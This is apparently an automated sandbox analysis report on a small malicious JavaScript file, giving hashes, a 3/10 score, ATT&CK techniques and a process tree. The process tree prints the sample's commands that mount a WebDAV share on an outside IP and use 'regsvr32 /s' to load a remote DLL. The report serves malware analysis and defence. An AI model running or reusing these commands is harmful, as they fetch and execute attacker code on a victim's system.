2d6e6304aed291a5891786b64fad858a2db29476ddd800926cebcfb9185b3ce5

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 15:43

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General

Target

2419917728311676320.js
Size

5KB
MD5

803773aeb4ffb459d09abdb44d050c75
SHA1

1ae0d3388bcf5f507c474da66e28398bd1b3ae73
SHA256

f4dc317e00002ec2675c347bdf4f48c67971484b30b1b13dfa08ac1a594d0556
SHA512

7ade6c959004fff0f4969106c5d7c09f181e2ddded2ad7fcc69226f9491913838990ec32606fab7bc72ea44cb6ed7eac2ba4610c3bf9435f423d4d80515303c9
SSDEEP

96:lL87fjdy4ykX5Gz/YB1lBSciTf5meO0iRZeSkye5:W7fJy4TX5q/YB1lBSciTf5m/0iRZDkyG

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1920	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2532	2556	wscript.exe	30
PID 2556 wrote to memory of 2532	2556	wscript.exe	30
PID 2556 wrote to memory of 2532	2556	wscript.exe	30
PID 2532 wrote to memory of 1668	2532	cmd.exe	32
PID 2532 wrote to memory of 1668	2532	cmd.exe	32
PID 2532 wrote to memory of 1668	2532	cmd.exe	32
PID 2532 wrote to memory of 1920	2532	cmd.exe	33
PID 2532 wrote to memory of 1920	2532	cmd.exe	33
PID 2532 wrote to memory of 1920	2532	cmd.exe	33
PID 2532 wrote to memory of 1920	2532	cmd.exe	33
PID 2532 wrote to memory of 1920	2532	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2419917728311676320.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2419917728311676320.js" "C:\Users\Admin\\eugmlm.bat" && "C:\Users\Admin\\eugmlm.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1668
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\229.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\eugmlm.bat

Filesize
5KB

MD5
803773aeb4ffb459d09abdb44d050c75

SHA1
1ae0d3388bcf5f507c474da66e28398bd1b3ae73

SHA256
f4dc317e00002ec2675c347bdf4f48c67971484b30b1b13dfa08ac1a594d0556

SHA512
7ade6c959004fff0f4969106c5d7c09f181e2ddded2ad7fcc69226f9491913838990ec32606fab7bc72ea44cb6ed7eac2ba4610c3bf9435f423d4d80515303c9

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